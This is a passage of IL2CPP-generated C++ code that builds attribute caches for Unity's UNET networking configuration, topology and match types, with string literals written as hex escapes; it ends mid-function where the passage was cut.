static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____AcksType_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x41\x63\x6B\x73\x54\x79\x70\x65"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____UsePlatformSpecificProtocols_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x55\x73\x65\x50\x6C\x61\x74\x66\x6F\x72\x6D\x53\x70\x65\x63\x69\x66\x69\x63\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x73"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____InitialBandwidth_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x49\x6E\x69\x74\x69\x61\x6C\x42\x61\x6E\x64\x77\x69\x64\x74\x68"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____BandwidthPeakFactor_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x42\x61\x6E\x64\x77\x69\x64\x74\x68\x50\x65\x61\x6B\x46\x61\x63\x74\x6F\x72"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____WebSocketReceiveBufferMaxSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x57\x65\x62\x53\x6F\x63\x6B\x65\x74\x52\x65\x63\x65\x69\x76\x65\x42\x75\x66\x66\x65\x72\x4D\x61\x78\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____UdpSocketReceiveBufferMaxSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x55\x64\x70\x53\x6F\x63\x6B\x65\x74\x52\x65\x63\x65\x69\x76\x65\x42\x75\x66\x66\x65\x72\x4D\x61\x78\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * tmp = (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B *)cache->attributes[0];
NativeConditionalAttribute__ctor_mD7A4501DA7EC2B1EBAF4730F06B60D3A8D896A23(tmp, il2cpp_codegen_string_new_wrapper("\x45\x4E\x41\x42\x4C\x45\x5F\x4E\x45\x54\x57\x4F\x52\x4B\x20\x26\x26\x20\x45\x4E\x41\x42\x4C\x45\x5F\x55\x4E\x45\x54"), true, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x43\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
}
static void HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_InternalDestroy_m71E5CC3F9775FC938F4B1397F87811AEF3FCFECF(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_mB0D8BA2FFA19561CCB4257F8D6D03726514A9E5F(tmp, NULL);
NativeMethodAttribute_set_IsThreadSafe_m965EAB84605EABFD2AE9B84FBE7FF311D1116A56_inline(tmp, true, NULL);
}
}
static void HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10____ReceivedMessagePoolSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x52\x65\x63\x65\x69\x76\x65\x64\x4D\x65\x73\x73\x61\x67\x65\x50\x6F\x6F\x6C\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10____SentMessagePoolSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x53\x65\x6E\x74\x4D\x65\x73\x73\x61\x67\x65\x50\x6F\x6F\x6C\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10____MessagePoolSizeGrowthFactor_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x65\x73\x73\x61\x67\x65\x50\x6F\x6F\x6C\x53\x69\x7A\x65\x47\x72\x6F\x77\x74\x68\x46\x61\x63\x74\x6F\x72"), 1LL, NULL);
}
}
static void ConnectionSimulatorConfigInternal_tB19B4AE3F50ACB7661DC811F6198E37C08ACDB99_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * tmp = (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B *)cache->attributes[0];
NativeConditionalAttribute__ctor_mD7A4501DA7EC2B1EBAF4730F06B60D3A8D896A23(tmp, il2cpp_codegen_string_new_wrapper("\x45\x4E\x41\x42\x4C\x45\x5F\x4E\x45\x54\x57\x4F\x52\x4B\x20\x26\x26\x20\x45\x4E\x41\x42\x4C\x45\x5F\x55\x4E\x45\x54"), true, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x43\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
}
static void ConnectionSimulatorConfigInternal_tB19B4AE3F50ACB7661DC811F6198E37C08ACDB99_CustomAttributesCacheGenerator_ConnectionSimulatorConfigInternal_InternalDestroy_m7B65F68816CC967FE0EFE2A8C2AE6DC9F81D7EB4(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_mB0D8BA2FFA19561CCB4257F8D6D03726514A9E5F(tmp, NULL);
NativeMethodAttribute_set_IsThreadSafe_m965EAB84605EABFD2AE9B84FBE7FF311D1116A56_inline(tmp, true, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x43\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
{
NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * tmp = (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B *)cache->attributes[1];
NativeConditionalAttribute__ctor_mD7A4501DA7EC2B1EBAF4730F06B60D3A8D896A23(tmp, il2cpp_codegen_string_new_wrapper("\x45\x4E\x41\x42\x4C\x45\x5F\x4E\x45\x54\x57\x4F\x52\x4B\x20\x26\x26\x20\x45\x4E\x41\x42\x4C\x45\x5F\x55\x4E\x45\x54"), true, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_InternalDestroy_m82C15BED6D4EB877B4702894F1C07780AFD65B68(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_mB0D8BA2FFA19561CCB4257F8D6D03726514A9E5F(tmp, NULL);
NativeMethodAttribute_set_IsThreadSafe_m965EAB84605EABFD2AE9B84FBE7FF311D1116A56_inline(tmp, true, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ThreadAwakeTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x54\x68\x72\x65\x61\x64\x41\x77\x61\x6B\x65\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ReactorModel_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x52\x65\x61\x63\x74\x6F\x72\x4D\x6F\x64\x65\x6C"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ReactorMaximumReceivedMessages_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x52\x65\x61\x63\x74\x6F\x72\x4D\x61\x78\x69\x6D\x75\x6D\x52\x65\x63\x65\x69\x76\x65\x64\x4D\x65\x73\x73\x61\x67\x65\x73"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ReactorMaximumSentMessages_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x52\x65\x61\x63\x74\x6F\x72\x4D\x61\x78\x69\x6D\x75\x6D\x53\x65\x6E\x74\x4D\x65\x73\x73\x61\x67\x65\x73"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxPacketSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x61\x78\x50\x61\x63\x6B\x65\x74\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxHosts_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x61\x78\x48\x6F\x73\x74\x73"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ThreadPoolSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x54\x68\x72\x65\x61\x64\x50\x6F\x6F\x6C\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MinTimerTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x69\x6E\x54\x69\x6D\x65\x72\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxTimerTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x61\x78\x54\x69\x6D\x65\x72\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MinNetSimulatorTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x69\x6E\x4E\x65\x74\x53\x69\x6D\x75\x6C\x61\x74\x6F\x72\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxNetSimulatorTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4D\x61\x78\x4E\x65\x74\x53\x69\x6D\x75\x6C\x61\x74\x6F\x72\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B_il2cpp_TypeInfo_var);
s_Il2CppMethodInitialized = true;
}
{
uint64_t _tmp_0 = 18446744073709551615U;
DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 * tmp = (DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 *)cache->attributes[0];
DefaultValueAttribute__ctor_mA4501ED4B6011A422D55EBE09A4AC3A1FAD83C13(tmp, Box(AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B_il2cpp_TypeInfo_var, &_tmp_0), NULL);
}
}
static void SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D_il2cpp_TypeInfo_var);
s_Il2CppMethodInitialized = true;
}
{
uint64_t _tmp_0 = 18446744073709551615U;
DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 * tmp = (DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 *)cache->attributes[0];
DefaultValueAttribute__ctor_mA4501ED4B6011A422D55EBE09A4AC3A1FAD83C13(tmp, Box(SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D_il2cpp_TypeInfo_var, &_tmp_0), NULL);
}
}
static void NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3_il2cpp_TypeInfo_var);
s_Il2CppMethodInitialized = true;
}
{
uint64_t _tmp_0 = 18446744073709551615U;
DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 * tmp = (DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 *)cache->attributes[0];
DefaultValueAttribute__ctor_mA4501ED4B6011A422D55EBE09A4AC3A1FAD83C13(tmp, Box(NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3_il2cpp_TypeInfo_var, &_tmp_0), NULL);
}
}
static void NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80_il2cpp_TypeInfo_var);
s_Il2CppMethodInitialized = true;
}
{
uint16_t _tmp_0 = 0U;
DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 * tmp = (DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 *)cache->attributes[0];
DefaultValueAttribute__ctor_mA4501ED4B6011A422D55EBE09A4AC3A1FAD83C13(tmp, Box(NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80_il2cpp_TypeInfo_var, &_tmp_0), NULL);
}
}
static void HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0_il2cpp_TypeInfo_var);
s_Il2CppMethodInitialized = true;
}
{
int32_t _tmp_0 = 2147483647;
DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 * tmp = (DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 *)cache->attributes[0];
DefaultValueAttribute__ctor_mA4501ED4B6011A422D55EBE09A4AC3A1FAD83C13(tmp, Box(HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0_il2cpp_TypeInfo_var, &_tmp_0), NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x6D\x61\x74\x63\x68\x6D\x61\x6B\x65\x72\x20\x61\x6E\x64\x20\x72\x65\x6C\x61\x79\x20\x66\x65\x61\x74\x75\x72\x65\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x2C\x20\x6D\x69\x6E\x69\x6D\x61\x6C\x20\x73\x75\x70\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x20\x75\x6E\x74\x69\x6C\x20\x74\x68\x69\x73\x20\x63\x61\x6E\x20\x62\x65\x20\x73\x61\x66\x65\x6C\x79\x20\x64\x6F\x6E\x65\x2E"), NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CaddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CportU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CdomainU3Ek__BackingField(CustomAttributesCache* cache)
{
{
